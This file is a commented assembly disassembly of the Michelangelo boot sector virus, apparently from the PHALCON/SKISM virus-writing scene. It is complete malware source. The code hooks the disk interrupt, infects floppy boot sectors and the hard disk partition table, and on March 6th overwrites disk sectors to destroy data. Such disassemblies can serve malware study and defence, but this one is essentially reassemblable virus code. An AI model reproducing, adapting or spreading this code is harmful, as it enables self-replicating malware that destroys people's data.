; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.

michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0

jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h

int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]

infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
mov cx,7 ; Write partition table to
mov firstsector,cx ; sector 7
mov ax,301h
mov dx,80h
int 13h
jc exitvirus
mov si,200h+offset partitioninfo ; Copy partition
mov di,offset partitioninfo ; table information
mov cx,21h
rep movsw
mov ax,301h ; Write to sector 8
xor bx,bx ; Copy virus to sector 1
inc cl
int 13h
;* jmp short 01E0h
db 0EBh, 32h ; ?This should crash?
; The following bytes are meaningless.
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
partitioninfo: db 42h dup (0)
michelangelo ends
end